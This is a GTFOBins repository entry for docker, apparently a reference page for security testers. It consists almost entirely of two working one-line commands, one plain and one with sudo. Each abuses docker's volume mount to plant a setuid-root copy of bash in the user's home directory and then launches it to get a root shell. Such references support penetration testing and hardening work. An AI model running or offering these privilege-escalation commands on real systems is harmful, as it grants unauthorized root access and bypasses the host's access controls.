Files
GTFOBins.github.io/_gtfobins/docker.md
AlessandroZ 7219385a05 add new ways
2018-08-17 17:16:09 +02:00

357 B

functions
functions
execute-interactive sudo-enabled
code
docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p
code
sudo docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p